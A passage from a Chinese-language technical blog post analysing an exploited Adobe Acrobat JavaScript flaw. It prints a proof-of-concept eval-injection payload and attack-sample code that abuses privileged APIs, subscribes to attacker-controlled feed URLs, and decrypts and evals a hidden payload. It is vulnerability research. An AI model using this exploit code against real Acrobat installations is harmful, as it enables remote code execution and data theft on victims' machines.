class="code-snippet__string">&#34;dialog&#34;</span>,</span></code><br/><code><span leaf="">					bold: <span class="code-snippet__literal">true</span>,</span></code><br/><code><span leaf="">					alignment: <span class="code-snippet__string">&#34;align_fill&#34;</span></span></code><br/><code><span leaf="">				};</span></code><br/><code><span leaf="">			<span class="code-snippet__comment">// maybe add a bullet</span></span></code><br/><code><span leaf="">			<span class="code-snippet__keyword">if</span>(cc.bullet)</span></code><br/><code><span leaf="">				item[item.length] = </span></code><br/><code><span leaf="">					{</span></code><br/><code><span leaf="">						type: <span class="code-snippet__string">&#34;static_text&#34;</span>,</span></code><br/><code><span leaf="">						name: <span class="code-snippet__string">&#34;\u2022&#34;</span></span></code><br/><code><span leaf="">					};</span></code><br/><code><span leaf="">			<span class="code-snippet__comment">// maybe add an icon</span></span></code><br/><code><span leaf="">			<span class="code-snippet__keyword">if</span>(cc.icon)</span></code><br/><code><span leaf="">				item[item.length] = </span></code><br/><code><span leaf="">					{</span></code><br/><code><span leaf="">						type: <span class="code-snippet__string">&#34;image&#34;</span>,</span></code><br/><code><span leaf="">						item_id: cid,</span></code><br/><code><span leaf="">						width: cc.icon.width,</span></code><br/><code><span leaf="">						height: cc.icon.height</span></code><br/><code><span leaf="">					};</span></code><br/><code><span leaf="">			<span class="code-snippet__comment">// throw them all into a row view</span></span></code><br/><code><span leaf="">			<span class="code-snippet__type">var</span> <span class="code-snippet__variable">mlse</span> <span class="code-snippet__operator">=</span> cc.text ? ANCreateMLSElement(cc.text, { diff: [ alertWidth, (cc.icon ? cc.icon.width : { zstring_width: <span class="code-snippet__string">&#34;\u2022&#34;</span> }) ] }) : [];</span></code><br/><code><span leaf="">			ca[ca.length] = {</span></code><br/><code><span leaf="">				type: <span class="code-snippet__string">&#34;view&#34;</span>,</span></code><br/><code><span leaf="">				align_children: <span class="code-snippet__string">&#34;align_row&#34;</span>,</span></code><br/><code><span leaf="">				elements:</span></code><br/><code><span leaf="">					item.concat(header ? </span></code><br/><code><span leaf="">					[{</span></code><br/><code><span leaf="">						type: <span class="code-snippet__string">&#34;view&#34;</span>,</span></code><br/><code><span leaf="">						align_children: <span class="code-snippet__string">&#34;align_left&#34;</span>,</span></code><br/><code><span leaf="">						alignment: <span class="code-snippet__string">&#34;align_fill&#34;</span>,</span></code><br/><code><span leaf="">						elements: [ header ].concat([mlse])</span></code><br/><code><span leaf="">					}] : [mlse])</span></code><br/><code><span leaf="">			};</span></code><br/><code><span leaf="">		}</span></code><br/><code><span leaf="">		<span class="code-snippet__comment">// add a tip if appropriate</span></span></code><br/><code><span leaf="">		<span class="code-snippet__keyword">if</span>(tip)</span></code><br/><code><span leaf="">		{</span></code><br/><code><span leaf="">			<span class="code-snippet__type">var</span> <span class="code-snippet__variable">te</span> <span class="code-snippet__operator">=</span> ANCreateTipElements(tip, alertWidth);</span></code><br/><code><span leaf="">			ca = ca.concat(te);</span></code><br/><code><span leaf="">		}</span></code><br/><code><span leaf="">		<span class="code-snippet__type">var</span> <span class="code-snippet__variable">ba</span> <span class="code-snippet__operator">=</span> [];</span></code><br/><code><span leaf="">		<span class="code-snippet__comment">// add a bunch of buttons into an element array</span></span></code><br/><code><span leaf="">		<span class="code-snippet__keyword">for</span>(<span class="code-snippet__keyword">var</span> i in buttons)</span></code><br/><code><span leaf="">		{</span></code><br/><code><span leaf="">			<span class="code-snippet__type">var</span> <span class="code-snippet__variable">bc</span> <span class="code-snippet__operator">=</span> buttons[i];</span></code><br/><code><span leaf="">			<span class="code-snippet__type">var</span> <span class="code-snippet__variable">bid</span> <span class="code-snippet__operator">=</span> <span class="code-snippet__string">&#34;btn&#34;</span> + i;</span></code><br/><code><span leaf="">			ba[ba.length] = {</span></code><br/><code><span leaf="">				type: <span class="code-snippet__string">&#34;button&#34;</span>,</span></code><br/><code><span leaf="">				item_id: bid,</span></code><br/><code><span leaf="">				name: bc,</span></code><br/><code><span leaf="">				alignment: <span class="code-snippet__string">&#34;align_right&#34;</span></span></code><br/><code><span leaf="">			};</span></code><br/><code><span leaf="">			<span class="code-snippet__comment">// throw a handler for the button in</span></span></code><br/><code><span leaf="">			desc[bid] = eval(<span class="code-snippet__string">&#34;(function(dialog) { dialog.end(&#39;&#34;</span> + bid + <span class="code-snippet__string">&#34;&#39;); })&#34;</span>);</span></code><br/><code><span leaf="">		}</span></code><br/><code><span leaf="">		<span class="code-snippet__comment">// basic buttons</span></span></code><br/><code><span leaf="">		<span class="code-snippet__keyword">if</span>(ok &amp;&amp; cancel &amp;&amp; other)</span></code><br/><code><span leaf="">		{</span></code><br/><code><span leaf="">			ba[ba.length] = {</span></code><br/><code><span leaf="">				type: <span class="code-snippet__string">&#34;ok_cancel_other&#34;</span>,</span></code><br/><code><span leaf="">				ok_name: ok,</span></code><br/><code><span leaf="">				cancel_name: cancel,</span></code><br/><code><span leaf="">				other_name: other,</span></code><br/><code><span leaf="">				alignment: <span class="code-snippet__string">&#34;align_right&#34;</span></span></code><br/><code><span leaf="">			}</span></code><br/><code><span leaf="">		}</span></code><br/><code><span leaf="">		<span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span>(ok &amp;&amp; cancel)</span></code><br/><code><span leaf="">		{</span></code><br/><code><span leaf="">			ba[ba.length] = {</span></code><br/><code><span leaf="">				type: <span class="code-snippet__string">&#34;ok_cancel&#34;</span>,</span></code><br/><code><span leaf="">				ok_name: ok,</span></code><br/><code><span leaf="">				cancel_name: cancel,</span></code><br/><code><span leaf="">				alignment: <span class="code-snippet__string">&#34;align_right&#34;</span></span></code><br/><code><span leaf="">			}</span></code><br/><code><span leaf="">		}</span></code><br/><code><span leaf="">		<span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span>(ok)</span></code><br/><code><span leaf="">		{</span></code><br/><code><span leaf="">			ba[ba.length] = {</span></code><br/><code><span leaf="">				type: <span class="code-snippet__string">&#34;ok&#34;</span>,</span></code><br/><code><span leaf="">				ok_name: ok,</span></code><br/><code><span leaf="">				alignment: <span class="code-snippet__string">&#34;align_right&#34;</span></span></code><br/><code><span leaf="">			}</span></code><br/><code><span leaf="">		}</span></code><br/><code><span leaf="">		<span class="code-snippet__comment">// add the buttons into the larger desc</span></span></code><br/><code><span leaf="">		ca[ca.length] = {</span></code><br/><code><span leaf="">			type: <span class="code-snippet__string">&#34;view&#34;</span>,</span></code><br/><code><span leaf="">			align_children: <span class="code-snippet__string">&#34;align_row&#34;</span>,</span></code><br/><code><span leaf="">			elements: (dontShowMeAgain ? [</span></code><br/><code><span leaf="">				{</span></code><br/><code><span leaf="">					type: <span class="code-snippet__string">&#34;check_box&#34;</span>,</span></code><br/><code><span leaf="">					item_id: <span class="code-snippet__string">&#34;dsma&#34;</span>,</span></code><br/><code><span leaf="">					name: (dontShowMeAgain.label ? dontShowMeAgain.label : AnnotsString.IDS_DONT_SHOW_AGAIN),</span></code><br/><code><span leaf="">					alignment: <span class="code-snippet__string">&#34;align_left&#34;</span></span></code><br/><code><span leaf="">				}</span></code><br/><code><span leaf="">			] : [])</span></code><br/><code><span leaf="">		};</span></code><br/><code><span leaf="">		ca[ca.length] = {</span></code><br/><code><span leaf="">			type: <span class="code-snippet__string">&#34;view&#34;</span>,</span></code><br/><code><span leaf="">			align_children: <span class="code-snippet__string">&#34;align_row&#34;</span>,</span></code><br/><code><span leaf="">			alignment: <span class="code-snippet__string">&#34;align_right&#34;</span>,</span></code><br/><code><span leaf="">			elements: ([]).concat(ba)</span></code><br/><code><span leaf="">		};</span></code><br/><code><span leaf="">		<span class="code-snippet__comment">// add an init method to set up icons</span></span></code><br/><code><span leaf="">		desc.initialize = function(dialog)</span></code><br/><code><span leaf="">		{</span></code><br/><code><span leaf="">			<span class="code-snippet__type">var</span> <span class="code-snippet__variable">il</span> <span class="code-snippet__operator">=</span> {</span></code><br/><code><span leaf="">				tip1: <span class="code-snippet__string">&#34;C_Info_Xl_N.png&#34;</span>,</span></code><br/><code><span leaf="">				dsma: <span class="code-snippet__built_in">this</span>.dontShowMeAgain ? <span class="code-snippet__built_in">this</span>.dontShowMeAgain.pref : <span class="code-snippet__literal">false</span></span></code><br/><code><span leaf="">			};</span></code><br/><code><span leaf="">			<span class="code-snippet__keyword">for</span>(<span class="code-snippet__keyword">var</span> i in <span class="code-snippet__built_in">this</span>.content)</span></code><br/><code><span leaf="">			{</span></code><br/><code><span leaf="">				<span class="code-snippet__type">var</span> <span class="code-snippet__variable">cc</span> <span class="code-snippet__operator">=</span> <span class="code-snippet__built_in">this</span>.content[i];</span></code><br/><code><span leaf="">				<span class="code-snippet__keyword">if</span>(cc.icon)</span></code><br/><code><span leaf="">					il[<span class="code-snippet__string">&#34;icn&#34;</span> + i] = cc.icon;</span></code><br/><code><span leaf="">			}</span></code><br/><code><span leaf="">			dialog.load(il);</span></code><br/><code><span leaf="">		};</span></code><br/><code><span leaf="">		<span class="code-snippet__comment">// store any change to the don&#39;t show me again</span></span></code><br/><code><span leaf="">		desc.commit = function(dialog)</span></code><br/><code><span leaf="">		{</span></code><br/><code><span leaf="">			<span class="code-snippet__keyword">if</span> (typeof <span class="code-snippet__built_in">this</span>.dontShowMeAgain != <span class="code-snippet__string">&#34;undefined&#34;</span>)</span></code><br/><code><span leaf="">				<span class="code-snippet__built_in">this</span>.dontShowMeAgain.pref = dialog.store()[<span class="code-snippet__string">&#34;dsma&#34;</span>];</span></code><br/><code><span leaf="">			<span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">true</span>;</span></code><br/><code><span leaf="">		};</span></code><br/><code><span leaf="">		<span class="code-snippet__comment">// handle the &#34;other&#34; click</span></span></code><br/><code><span leaf="">		desc.other = function(dialog) { dialog.end(<span class="code-snippet__string">&#34;other&#34;</span>); }</span></code><br/><code><span leaf="">		<span class="code-snippet__comment">// full description</span></span></code><br/><code><span leaf="">		desc.description = {</span></code><br/><code><span leaf="">			name: title,</span></code><br/><code><span leaf="">			elements: [</span></code><br/><code><span leaf="">				{</span></code><br/><code><span leaf="">					type: <span class="code-snippet__string">&#34;view&#34;</span>,</span></code><br/><code><span leaf="">					align_children: <span class="code-snippet__string">&#34;align_left&#34;</span>,</span></code><br/><code><span leaf="">					elements: ca</span></code><br/><code><span leaf="">				}</span></code><br/><code><span leaf="">			]</span></code><br/><code><span leaf="">		};</span></code><br/><code><span leaf="">		app.beginPriv();</span></code><br/><code><span leaf="">		<span class="code-snippet__type">var</span> <span class="code-snippet__variable">result</span> <span class="code-snippet__operator">=</span> app.execDialog(desc);</span></code><br/><code><span leaf="">		app.endPriv();</span></code><br/><code><span leaf="">		<span class="code-snippet__keyword">return</span> result;</span></code><br/><code><span leaf="">	}</span></code><br/></pre></p><p><span leaf="">所以代码注入点：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf="">		<span class="code-snippet__comment">// add a bunch of buttons into an element array</span></span></code><br/><code><span leaf="">		<span class="code-snippet__keyword">for</span>(<span class="code-snippet__keyword">var</span> i <span class="code-snippet__keyword">in</span> buttons)</span></code><br/><code><span leaf="">		{</span></code><br/><code><span leaf="">			<span class="code-snippet__keyword">var</span> bc = buttons[i];</span></code><br/><code><span leaf="">			<span class="code-snippet__keyword">var</span> bid = <span class="code-snippet__string">&#34;btn&#34;</span> + i;</span></code><br/><code><span leaf="">			ba[ba.<span class="code-snippet__property">length</span>] = {</span></code><br/><code><span leaf="">				<span class="code-snippet__attr">type</span>: <span class="code-snippet__string">&#34;button&#34;</span>,</span></code><br/><code><span leaf="">				<span class="code-snippet__attr">item_id</span>: bid,</span></code><br/><code><span leaf="">				<span class="code-snippet__attr">name</span>: bc,</span></code><br/><code><span leaf="">				<span class="code-snippet__attr">alignment</span>: <span class="code-snippet__string">&#34;align_right&#34;</span></span></code><br/><code><span leaf="">			};</span></code><br/><code><span leaf="">			<span class="code-snippet__comment">// throw a handler for the button in</span></span></code><br/><code><span leaf="">			desc[bid] = <span class="code-snippet__built_in">eval</span>(<span class="code-snippet__string">&#34;(function(dialog) { dialog.end(&#39;&#34;</span> + bid + <span class="code-snippet__string">&#34;&#39;); })&#34;</span>);</span></code><br/><code><span leaf="">		}</span></code><br/></pre></p><p><span leaf="">很经典的代码，早年玩PHP的人估计对这个循环很眼熟，这里注入的是 var buttons = {&#34;x&#39;&#34;: 1}; 这个对象名，而不是值。</span></p><p><span leaf="">所以漏洞根因POC</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">buttons</span> = {<span class="code-snippet__string">&#34;((&#39;); }); app.alert(1);//&#34;</span>: <span class="code-snippet__number">0</span>x0};</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">ANFancyAlertImpl</span>(<span class="code-snippet__string">&#34;&#34;</span>,<span class="code-snippet__meta"> [], 0, buttons, 0, 0, 0, 0, 0);</span></span></code><br/></pre></p><p><span leaf="">又一个小坑</span></p><p><span leaf="">只是让我非常奇怪的是：((&#39; 需要(( 按我之前的JS的经验应该//就不用考虑后面的((的闭合了，于是我问了下大模型，Gemini告诉我这个是 ：</span></p><blockquote><p><span leaf="">2. Acrobat 的“愚蠢”预处理器 (Naive Scanner)Acrobat 的底层 C++ 在处理这段 eval 时，为了安全或内部解析的需要，会先使用一个**粗糙的括号计数器（Depth Counter）**来尝试提取这段被括号包裹的表达式 (function(...) { ... })。</span></p></blockquote><p><span leaf="">其实我看到这个还不是很理解，随即咨询了swan师傅，他让我测试下：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="ini"><code><span leaf=""><span class="code-snippet__attr">buttons</span> = {<span class="code-snippet__string">&#34;(((&#39;); }); app.alert(1);//)&#34;</span>: <span class="code-snippet__number">0</span>x0}<span class="code-snippet__comment">;</span></span></code></pre></p><p><span leaf="">就明白了，注意上面(((&#39; 是三个，然后我在//后面加个) 所以就对上计数了，所以Gemini的回答其实值说了一半，需要对其原有的，也即是</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf="">desc[bid] = <span class="code-snippet__built_in">eval</span>(<span class="code-snippet__string">&#34;(function(dialog) { dialog.end(&#39;&#34;</span> + bid + <span class="code-snippet__string">&#34;&#39;); })&#34;</span>);</span></code></pre></p><p><span leaf="">这个在bid注入后 注释掉的还有两个)) 还真是“愚蠢”的Acrobat～～～</span></p><p><span leaf="">原型污染</span></p><p><span leaf="">按上面的分析这个漏洞的根本原因是出在ANFancyAlertImpl 这个函数里的buttons存在代码注入导致的，而在官方的公告：<a href="https://helpx.adobe.com/security/products/acrobat/apsb26-43.html" target="_blank">https://helpx.adobe.com/security/products/acrobat/apsb26-43.html</a> 写的是：</span></p><blockquote><p><span leaf="">Vulnerability Category: Improperly Controlled Modification of Object Prototype Attributes (&#39;Prototype Pollution&#39;) (CWE-1321)</span></p></blockquote><p><span leaf="">后面我仔细看了下，官方可能把视角放在了，攻击样本里global.reindeer函数上</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__variable">global</span>.<span class="code-snippet__property">reindeer</span> = <span class="code-snippet__function">() =&gt;</span> {</span></code><br/><code><span leaf="">    <span class="code-snippet__variable">global</span>.<span class="code-snippet__property">exec</span> = <span class="code-snippet__keyword">function</span>(<span class="code-snippet__params">func, context, args</span>) {</span></code><br/><code><span leaf="">        <span class="code-snippet__keyword">try</span> {</span></code><br/><code><span leaf="">            stream = {</span></code><br/><code><span leaf="">                <span class="code-snippet__string">&#39;read&#39;</span>: app.<span class="code-snippet__property">importDataObject</span>[<span class="code-snippet__string">&#39;getDataObject&#39;</span>](app, args[<span class="code-snippet__number">0</span>])</span></code><br/><code><span leaf="">            };</span></code><br/><code><span leaf="">            ob = {</span></code><br/><code><span leaf="">                <span class="code-snippet__string">&#39;getFullName&#39;</span>: <span class="code-snippet__variable">SOAP</span>[<span class="code-snippet__string">&#39;operation&#39;</span>][<span class="code-snippet__string">&#39;invoke&#39;</span>](<span class="code-snippet__variable">SOAP</span>, stream)</span></code><br/><code><span leaf="">            };</span></code><br/><code><span leaf="">            <span class="code-snippet__title">Object</span>.<span class="code-snippet__property"><span class="code-snippet__keyword">prototype</span></span>.<span class="code-snippet__title">__defineGetter__</span>(<span class="code-snippet__string">&#39;swConn&#39;</span>, <span class="code-snippet__function">() =&gt;</span> {</span></code><br/><code><span leaf="">                <span class="code-snippet__keyword">return</span> ob;</span></code><br/><code><span leaf="">            });</span></code><br/><code><span leaf="">            data = { <span class="code-snippet__string">&#39;WT&#39;</span>: <span class="code-snippet__string">&#39;&#39;</span> };</span></code><br/><code><span leaf="">            <span class="code-snippet__variable">this</span>.<span class="code-snippet__title">__defineGetter__</span>(<span class="code-snippet__string">&#39;isDocReadOnly&#39;</span>, <span class="code-snippet__literal">false</span>);</span></code><br/><code><span leaf="">            pwnobj = {</span></code><br/><code><span leaf="">                <span class="code-snippet__string">&#39;lastIndexOf&#39;</span>: <span class="code-snippet__title">SilentDocCenterLogin</span>[<span class="code-snippet__string">&#39;invoke&#39;</span>](app, data, {}),</span></code><br/><code><span leaf="">                <span class="code-snippet__string">&#39;substring&#39;</span>: <span class="code-snippet__function">() =&gt;</span> { <span class="code-snippet__keyword">throw</span> <span class="code-snippet__title">Error</span>(<span class="code-snippet__string">&#39;&#39;</span>); }</span></code><br/><code><span leaf="">            };</span></code><br/><code><span leaf="">            <span class="code-snippet__variable">this</span>.<span class="code-snippet__title">__defineGetter__</span>(<span class="code-snippet__string">&#39;path&#39;</span>, <span class="code-snippet__function">() =&gt;</span> {</span></code><br/><code><span leaf="">                <span class="code-snippet__keyword">return</span> pwnobj;</span></code><br/><code><span leaf="">            });</span></code><br/><code><span leaf="">            <span class="code-snippet__title">ANShareFile</span>({ <span class="code-snippet__string">&#39;doc&#39;</span>: <span class="code-snippet__built_in">eval</span>(<span class="code-snippet__string">&#39;this&#39;</span>) });</span></code><br/><code><span leaf="">        } <span class="code-snippet__keyword">catch</span> (e) {}</span></code><br/><code><span leaf="">    };</span></code><br/><code><span leaf="">};</span></code><br/></pre></p><p><span leaf="">不得不说这个函数写得还是非常巧妙的，里面涉及到所谓的原型污染应该是说：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__title">Object</span>.<span class="code-snippet__property"><span class="code-snippet__keyword">prototype</span></span>.<span class="code-snippet__title">__defineGetter__</span>(<span class="code-snippet__string">&#39;swConn&#39;</span>, <span class="code-snippet__function">() =&gt;</span> {</span></code><br/><code><span leaf="">                <span class="code-snippet__keyword">return</span> ob;</span></code><br/><code><span leaf="">            });</span></code><br/></pre></p><p><span leaf="">其实我当时看这种写法在XSS等场景利用是非常常见的，以这个来定义这个漏洞还是那么点奇怪，比较在漏洞角度，这个算是利用的一个tips了，人口还是在ANFancyAlertImpl</span></p><p><span leaf="">缺失的漏洞链</span></p><p><span leaf="">上面的分析的样本及分析来看表现出来的利用就是信息收集，通过读取本地文件来取定OS版本信息等，这个是由于在整个攻击链里还少了一个环节：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__comment">/**</span></span></code><br/><code><span leaf=""> * 检查函数 - 用于验证和执行恶意载荷</span></code><br/><code><span leaf=""> */</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">check</span>() {</span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">if</span> (<span class="code-snippet__variable">global</span>.<span class="code-snippet__property">bird0</span> != <span class="code-snippet__literal">undefined</span> &amp;&amp; <span class="code-snippet__variable">global</span>.<span class="code-snippet__property">bird1</span> != <span class="code-snippet__literal">undefined</span>) {</span></code><br/><code><span leaf="">        app.<span class="code-snippet__built_in">clearInterval</span>(<span class="code-snippet__variable">global</span>.<span class="code-snippet__property">tmp2</span>);</span></code><br/><code><span leaf="">        <span class="code-snippet__variable">global</span>.<span class="code-snippet__property">doc</span> = <span class="code-snippet__built_in">eval</span>(<span class="code-snippet__string">&#39;this&#39;</span>);</span></code><br/><code><span leaf="">        <span class="code-snippet__comment">// 解密恶意载荷</span></span></code><br/><code><span leaf="">        <span class="code-snippet__keyword">var</span> encryptedBytes = aesjs.<span class="code-snippet__property">utils</span>.<span class="code-snippet__property">hex</span>.<span class="code-snippet__title">toBytes</span>(<span class="code-snippet__variable">global</span>.<span class="code-snippet__property">bird1</span>);</span></code><br/><code><span leaf="">        <span class="code-snippet__keyword">var</span> aesCtr = <span class="code-snippet__keyword">new</span> aesjs.<span class="code-snippet__title">ctr</span>(<span class="code-snippet__variable">global</span>.<span class="code-snippet__property">bird0</span>, <span class="code-snippet__keyword">new</span> aesjs.<span class="code-snippet__title">Counter</span>(<span class="code-snippet__number">1</span>));</span></code><br/><code><span leaf="">        <span class="code-snippet__keyword">var</span> decryptedBytes = aesCtr.<span class="code-snippet__title">decrypt</span>(encryptedBytes);</span></code><br/><code><span leaf="">        <span class="code-snippet__keyword">var</span> decryptedText = <span class="code-snippet__string">&#39;&#39;</span>;</span></code><br/><code><span leaf="">        <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">var</span> i = <span class="code-snippet__number">0</span>; i &lt; decryptedBytes.<span class="code-snippet__property">length</span>; i++) {</span></code><br/><code><span leaf="">            decryptedText += <span class="code-snippet__title">String</span>.<span class="code-snippet__title">fromCharCode</span>(decryptedBytes[i]);</span></code><br/><code><span leaf="">        }</span></code><br/><code><span leaf="">        <span class="code-snippet__variable">global</span>.<span class="code-snippet__property">bird0</span> = <span class="code-snippet__literal">undefined</span>;</span></code><br/><code><span leaf="">        <span class="code-snippet__variable">global</span>.<span class="code-snippet__property">bird1</span> = <span class="code-snippet__literal">undefined</span>;</span></code><br/><code><span leaf="">        <span class="code-snippet__comment">// 解压并执行</span></span></code><br/><code><span leaf="">        <span class="code-snippet__variable">global</span>.<span class="code-snippet__property">final_js</span> = <span class="code-snippet__title">zip_inflate</span>(decryptedText);</span></code><br/><code><span leaf="">        <span class="code-snippet__variable">global</span>.<span class="code-snippet__property">tmp1</span> = app.<span class="code-snippet__title">setTimeOut</span>(<span class="code-snippet__string">&#39;eval(global.final_js);&#39;</span>, <span class="code-snippet__number">500</span>);</span></code><br/><code><span leaf="">        <span class="code-snippet__variable">global</span>.<span class="code-snippet__property">tmp2</span> = app.<span class="code-snippet__title">setTimeOut</span>(<span class="code-snippet__string">&#39;removeFeeds();&#39;</span>, <span class="code-snippet__number">2000</span>);</span></code><br/><code><span leaf="">    } <span class="code-snippet__keyword">else</span> {</span></code><br/><code><span leaf="">        <span class="code-snippet__variable">global</span>.<span class="code-snippet__property">tmp1</span> += <span class="code-snippet__number">1</span>;</span></code><br/><code><span leaf="">        <span class="code-snippet__keyword">if</span> (<span class="code-snippet__variable">global</span>.<span class="code-snippet__property">tmp1</span> &gt; <span class="code-snippet__number">0x50</span>) {</span></code><br/><code><span leaf="">            app.<span class="code-snippet__built_in">clearInterval</span>(<span class="code-snippet__variable">global</span>.<span class="code-snippet__property">tmp2</span>);</span></code><br/><code><span leaf="">            <span class="code-snippet__keyword">try</span> {</span></code><br/><code><span leaf="">                <span class="code-snippet__variable">global</span>.<span class="code-snippet__title">trustedFunction</span>(<span class="code-snippet__variable">RSS</span>, <span class="code-snippet__variable">RSS</span>.<span class="code-snippet__property">removeFeed</span>, [dog1]);</span></code><br/><code><span leaf="">            } <span class="code-snippet__keyword">catch</span> (e) {}</span></code><br/><code><span leaf="">            <span class="code-snippet__keyword">try</span> {</span></code><br/><code><span leaf="">                <span class="code-snippet__variable">global</span>.<span class="code-snippet__title">trustedFunction</span>(<span class="code-snippet__variable">RSS</span>, <span class="code-snippet__variable">RSS</span>.<span class="code-snippet__property">removeFeed</span>, [dog2]);</span></code><br/><code><span leaf="">            } <span class="code-snippet__keyword">catch</span> (e) {}</span></code><br/><code><span leaf="">        }</span></code><br/><code><span leaf="">    }</span></code><br/><code><span leaf="">}</span></code><br/></pre></p><p><span leaf="">就是这个check()函数里 最终会执行：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="ini"><code><span leaf=""><span class="code-snippet__attr">global.tmp1</span> = app.setTimeOut(<span class="code-snippet__string">&#39;eval(global.final_js);&#39;</span>, <span class="code-snippet__number">500</span>)<span class="code-snippet__comment">;</span></span></code></pre></p><p><span leaf="">而global.final_js 目前还没有人给出来具体的信息及代码，那么我们继续看看这个check()函数的调用：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">startup</span>() {</span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">try</span> {</span></code><br/><code><span leaf="">        <span class="code-snippet__variable">global</span>.<span class="code-snippet__title">trustedFunction</span>(<span class="code-snippet__variable">RSS</span>, <span class="code-snippet__variable">RSS</span>.<span class="code-snippet__property">addFeed</span>, [dog1]);</span></code><br/><code><span leaf="">    } <span class="code-snippet__keyword">catch</span> (e) {}</span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">try</span> {</span></code><br/><code><span leaf="">        <span class="code-snippet__variable">global</span>.<span class="code-snippet__title">trustedFunction</span>(<span class="code-snippet__variable">RSS</span>, <span class="code-snippet__variable">RSS</span>.<span class="code-snippet__property">addFeed</span>, [dog2]);</span></code><br/><code><span leaf="">    } <span class="code-snippet__keyword">catch</span> (e) {}</span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">try</span> {</span></code><br/><code><span leaf="">        <span class="code-snippet__variable">global</span>.<span class="code-snippet__title">trustedFunction</span>(<span class="code-snippet__variable">RSS</span>, <span class="code-snippet__variable">RSS</span>.<span class="code-snippet__property">subscribe</span>, [{ <span class="code-snippet__string">&#39;cURL&#39;</span>: dog2, <span class="code-snippet__string">&#39;bPersistent&#39;</span>: <span class="code-snippet__literal">false</span>, <span class="code-snippet__string">&#39;cType&#39;</span>: <span class="code-snippet__string">&#39;JS&#39;</span> }]);</span></code><br/><code><span leaf="">    } <span class="code-snippet__keyword">catch</span> (e) {}</span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">try</span> {</span></code><br/><code><span leaf="">        <span class="code-snippet__variable">global</span>.<span class="code-snippet__title">trustedFunction</span>(<span class="code-snippet__variable">RSS</span>, <span class="code-snippet__variable">RSS</span>.<span class="code-snippet__property">subscribe</span>, [{ <span class="code-snippet__string">&#39;cURL&#39;</span>: dog1, <span class="code-snippet__string">&#39;bPersistent&#39;</span>: <span class="code-snippet__literal">false</span>, <span class="code-snippet__string">&#39;cType&#39;</span>: <span class="code-snippet__string">&#39;JS&#39;</span> }]);</span></code><br/><code><span leaf="">    } <span class="code-snippet__keyword">catch</span> (e) {}</span></code><br/><code><span leaf="">    <span class="code-snippet__variable">global</span>.<span class="code-snippet__property">tmp2</span> = app.<span class="code-snippet__built_in">setInterval</span>(<span class="code-snippet__string">&#39;check()&#39;</span>, <span class="code-snippet__number">500</span>);</span></code><br/><code><span leaf="">}</span></code><br/><code><span leaf=""><span class="code-snippet__comment">// 启动攻击</span></span></code><br/><code><span leaf=""><span class="code-snippet__title">startup</span>();</span></code><br/></pre></p><p><span leaf="">直接就是在 startup() --&gt; app.setInterval(&#39;check()&#39;, 500). 也就是目前来看这个根上面的 ANFancyAlertImpl漏洞链没有实际的关系，很可能global.final_js是一个独立的漏洞链（当然也可能重走一次ANFancyAlertImpl），为什么会纠结这个问题，那是因为这个样本最开始捕获的时候有人觉得这个可能不是简单的信息收集，而官方给的漏洞公告里也明确了是RCE，所以这个到目前为止还是缺失的～～</span></p><p><span leaf="">在最近的几天官方有更新了两个漏洞 ，不过按lihaifei的推特上表现跟官方沟通后，确定这2个漏洞与本次实际攻击无关</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf=""><a href="https://x.com/HaifeiLi/status/2044176791267619062" target="_blank">https://x.com/HaifeiLi/status/2044176791267619062</a></span></code></pre></p><blockquote><p><span leaf="">“At this time, Adobe does not have any evidence that the vulnerabilities patched in APSB26-44 (CVE-2026-34622 and CVE-2026-34626) have been exploited in the wild.”</span></p></blockquote><p><span leaf="">但是按官方这种漏洞“理解”，这种WSL的漏洞估计很可能会修不全或者来来回回折腾几次...</span></p><p><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">后话</span></span></p><p><span leaf="">1、相比内存漏洞这种漏洞在实际攻击中还是很少见的，当然这个攻击面实际上一直都在，我在做pdf fuzzing的时候其实有想去看看这种逻辑类型的漏洞的</span></p><p><span leaf="">2、攻击样本用的俄语诱饵，实际上大毛还是非常喜欢这种逻辑型漏洞的，尤其是是office系列</span></p><p><span leaf="">3、global.final_js获取的失败，正好证明了这种客户端与服务端分离的设计的好处，这个问题在前面的ios Coruna 和 DarkSword 显得无比粗糙，当然这都是20+年的Tips了</span></p><p><span leaf="">4、对于这种复杂样本分析从表现上来看，大模型已经帮我们省去了不少工作，很多基本算是“秒出”</span></p><p><span 